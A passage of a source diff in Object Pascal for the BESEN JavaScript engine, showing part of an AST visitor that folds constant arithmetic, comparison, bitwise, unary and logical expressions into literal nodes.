TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentDivideExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMODULOEXPRESSION:begin + TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentModuloExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTPLUSEXPRESSION:begin + TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentPlusExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTMINUSEXPRESSION:begin + TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentMinusExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTLEFTEXPRESSION:begin + TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftLeftExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTRIGHTEXPRESSION:begin + TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTSHIFTRIGHTUNSIGNEDEXPRESSION:begin + TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentShiftRightUnsignedExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEANDEXPRESSION:begin + TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseAndExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEXOREXPRESSION:begin + TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseXorExpression(ToVisit).RightExpression)); + end; + bntASSIGNMENTBITWISEOREXPRESSION:begin + TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeAssignmentBitwiseOrExpression(ToVisit).RightExpression)); + end; + bntBINARYOPERATOREXPRESSION:begin + TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryOperatorExpression(ToVisit).RightExpression)); + end; + bntBINARYCOMMAEXPRESSION:begin + TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryCommaExpression(ToVisit).RightExpression)); + end; + bntBINARYDIVIDEEXPRESSION:begin + TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryDivideExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryDivideExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESEN(Instance).ToNum(vl)/TBESEN(Instance).ToNum(vr); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYMODULOEXPRESSION:begin + TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryModuloExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryModuloExpression(ToVisit).RightExpression,vr) then begin + nr:=BESENModulo(TBESEN(Instance).ToNum(vl),TBESEN(Instance).ToNum(vr)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYMULTIPLYEXPRESSION:begin + TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryMultiplyExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryMultiplyExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESEN(Instance).ToNum(vl)*TBESEN(Instance).ToNum(vr); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYPLUSEXPRESSION:begin + TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression,vr) then begin + if (TBESENASTNodeBinaryPlusExpression(ToVisit).LeftExpression is TBESENASTNodeStringLiteral) or (TBESENASTNodeBinaryPlusExpression(ToVisit).RightExpression is TBESENASTNodeStringLiteral) then begin + sr:=TBESEN(Instance).ToStr(vl)+TBESEN(Instance).ToStr(vr); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeStringLiteral.Create(Instance); + TBESENASTNodeStringLiteral(result).Value:=sr; + end else begin + nr:=TBESEN(Instance).ToNum(vl)+TBESEN(Instance).ToNum(vr); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + end; + bntBINARYMINUSEXPRESSION:begin + TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryMinusExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryMinusExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESEN(Instance).ToNum(vl)-TBESEN(Instance).ToNum(vr); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYSHIFTLEFTEXPRESSION:begin + TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryShiftLeftExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESENINT32(TBESEN(Instance).ToInt32(vl) shl (TBESEN(Instance).ToUInt32(vr) and 31)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYSHIFTRIGHTEXPRESSION:begin + TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryShiftRightExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryShiftRightExpression(ToVisit).RightExpression,vr) then begin + nr:=sar(TBESEN(Instance).ToInt32(vl),(TBESEN(Instance).ToUInt32(vr) and 31)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYSHIFTRIGHTUNSIGNEDEXPRESSION:begin + TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryShiftRightUnsignedExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESENUINT32(TBESEN(Instance).ToUInt32(vl) shr (TBESEN(Instance).ToUInt32(vr) and 31)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYGREATERTHANEXPRESSION:begin + TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryGreaterThanExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=TBESEN(Instance).EqualityExpressionCompare(vl,vr)>0; + end; + end; + bntBINARYGREATERTHANOREQUALEXPRESSION:begin + TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryGreaterThanOrEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=TBESEN(Instance).EqualityExpressionCompare(vl,vr)>=0; + end; + end; + bntBINARYLESSTHANEXPRESSION:begin + TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryLessThanExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryLessThanExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=TBESEN(Instance).EqualityExpressionCompare(vl,vr)<0; + end; + end; + bntBINARYLESSTHANOREQUALEXPRESSION:begin + TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryLessThanOrEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=TBESEN(Instance).EqualityExpressionCompare(vl,vr)<=0; + end; + end; + bntBINARYINSTANCEOFEXPRESSION:begin + TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryInstanceOfExpression(ToVisit).RightExpression)); + end; + bntBINARYINEXPRESSION:begin + TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryInExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryInExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryInExpression(ToVisit).RightExpression)); + end; + bntBINARYEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryEqualEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=TBESEN(Instance).EqualityExpressionEquals(vl,vr); + end; + end; + bntBINARYEQUALEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryEqualEqualEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=BESENEqualityExpressionStrictEquals(vl,vr); + end; + end; + bntBINARYNOTEQUALEXPRESSION:begin + TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryNotEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryNotEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=not TBESEN(Instance).EqualityExpressionEquals(vl,vr); + end; + end; + bntBINARYNOTEQUALEQUALEXPRESSION:begin + TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryNotEqualEqualExpression(ToVisit).RightExpression,vr) then begin + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=not BESENEqualityExpressionStrictEquals(vl,vr); + end; + end; + bntBINARYBITWISEANDEXPRESSION:begin + TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryBitwiseAndExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESENINT32(TBESEN(Instance).ToInt32(vl) and TBESEN(Instance).ToInt32(vr)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYBITWISEXOREXPRESSION:begin + TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryBitwiseXorExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESENINT32(TBESEN(Instance).ToInt32(vl) xor TBESEN(Instance).ToInt32(vr)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBINARYBITWISEOREXPRESSION:begin + TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).LeftExpression,vl) and ConvertToValue(TBESENASTNodeBinaryBitwiseOrExpression(ToVisit).RightExpression,vr) then begin + nr:=TBESENINT32(TBESEN(Instance).ToInt32(vl) or TBESEN(Instance).ToInt32(vr)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntBOOLEANLITERAL:begin + end; + bntCALLEXPRESSION:begin + TBESENASTNodeCallExpression(ToVisit).TheFunction:=pointer(Visit(TBESENASTNodeCallExpression(ToVisit).TheFunction)); + for Counter:=0 to length(TBESENASTNodeCallExpression(ToVisit).Arguments)-1 do begin + TBESENASTNodeCallExpression(ToVisit).Arguments[Counter]:=pointer(Visit(TBESENASTNodeCallExpression(ToVisit).Arguments[Counter])); + end; + end; + bntNEWEXPRESSION:begin + TBESENASTNodeNewExpression(ToVisit).TheFunction:=pointer(Visit(TBESENASTNodeNewExpression(ToVisit).TheFunction)); + for Counter:=0 to length(TBESENASTNodeNewExpression(ToVisit).Arguments)-1 do begin + TBESENASTNodeNewExpression(ToVisit).Arguments[Counter]:=pointer(Visit(TBESENASTNodeNewExpression(ToVisit).Arguments[Counter])); + end; + end; + bntCONDITIONALEXPRESSION:begin + TBESENASTNodeConditionalExpression(ToVisit).TrueExpression:=pointer(Visit(TBESENASTNodeConditionalExpression(ToVisit).TrueExpression)); + TBESENASTNodeConditionalExpression(ToVisit).FalseExpression:=pointer(Visit(TBESENASTNodeConditionalExpression(ToVisit).FalseExpression)); + if ConvertToValue(TBESENASTNodeConditionalExpression(ToVisit).Expression,vl) then begin + if TBESEN(Instance).ToBool(vl) then begin + result:=TBESENASTNodeConditionalExpression(ToVisit).TrueExpression; + TBESENASTNodeConditionalExpression(ToVisit).TrueExpression:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeConditionalExpression(ToVisit).FalseExpression; + TBESENASTNodeConditionalExpression(ToVisit).FalseExpression:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + end; + bntUNARYEXPRESSION:begin + TBESENASTNodeUnaryExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryExpression(ToVisit).SubExpression)); + end; + bntUNARYOPERATOREXPRESSION:begin + TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryOperatorExpression(ToVisit).SubExpression)); + end; + bntUNARYPLUSEXPRESSION:begin + TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression)); + if ConvertToValue(TBESENASTNodeUnaryPlusExpression(ToVisit).SubExpression,vl) then begin + nr:=TBESEN(Instance).ToNum(vl); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntUNARYMINUSEXPRESSION:begin + TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression)); + if ConvertToValue(TBESENASTNodeUnaryMinusExpression(ToVisit).SubExpression,vl) then begin + nr:=TBESEN(Instance).ToNum(vl); + PBESENDoubleHiLo(@nr)^.Hi:=PBESENDoubleHiLo(@nr)^.Hi xor $80000000; + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntUNARYBITWISENOTEXPRESSION:begin + TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression)); + if ConvertToValue(TBESENASTNodeUnaryBitwiseNotExpression(ToVisit).SubExpression,vl) then begin + nr:=TBESENINT32(not TBESEN(Instance).ToInt32(vl)); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeNumberLiteral.Create(Instance); + TBESENASTNodeNumberLiteral(result).Value:=nr; + end; + end; + bntUNARYLOGICALNOTEXPRESSION:begin + TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression)); + if ConvertToValue(TBESENASTNodeUnaryLogicalNotExpression(ToVisit).SubExpression,vl) then begin + br:=not TBESEN(Instance).ToBool(vl); + BESENFreeAndNil(ToVisit); + result:=TBESENASTNodeBooleanLiteral.Create(Instance); + TBESENASTNodeBooleanLiteral(result).Value:=br; + end; + end; + bntUNARYVOIDEXPRESSION:begin + TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryVoidExpression(ToVisit).SubExpression)); + end; + bntUNARYTYPEOFEXPRESSION:begin + TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression:=pointer(Visit(TBESENASTNodeUnaryTypeOfExpression(ToVisit).SubExpression)); + end; + bntPROPERTYEXPRESSION:begin + TBESENASTNodePropertyExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodePropertyExpression(ToVisit).LeftExpression)); + TBESENASTNodePropertyExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodePropertyExpression(ToVisit).RightExpression)); + end; + bntLOGICALANDEXPRESSION:begin + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression)); + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression,vl) then begin + ConvertToValue(TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression,vr); + if vl.ValueType=vr.ValueType then begin + if TBESEN(Instance).ToBool(vr) then begin + result:=TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression; + AddTrashNode(result,TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression; + AddTrashNode(result,TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end; + end else begin + if TBESEN(Instance).ToBool(vl) then begin + result:=TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression; + AddTrashNode(result,TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression); + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression; + AddTrashNode(result,TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression); + TBESENASTNodeLogicalAndExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalAndExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end; + end; + end; + end; + bntLOGICALOREXPRESSION:begin + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=pointer(Visit(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression)); + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=pointer(Visit(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression)); + if ConvertToValue(TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression,vl) then begin + ConvertToValue(TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression,vr); + if vl.ValueType=vr.ValueType then begin + if TBESEN(Instance).ToBool(vr) then begin + result:=TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression; + AddTrashNode(result,TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression); + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end else begin + result:=TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression; + AddTrashNode(result,TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=nil; + BESENFreeAndNil(ToVisit); + end; + end else begin + if TBESEN(Instance).ToBool(vl) then begin + result:=TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression; + AddTrashNode(result,TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression); + TBESENASTNodeLogicalOrExpression(ToVisit).LeftExpression:=nil; + TBESENASTNodeLogicalOrExpression(ToVisit).RightExpression:=nil; + 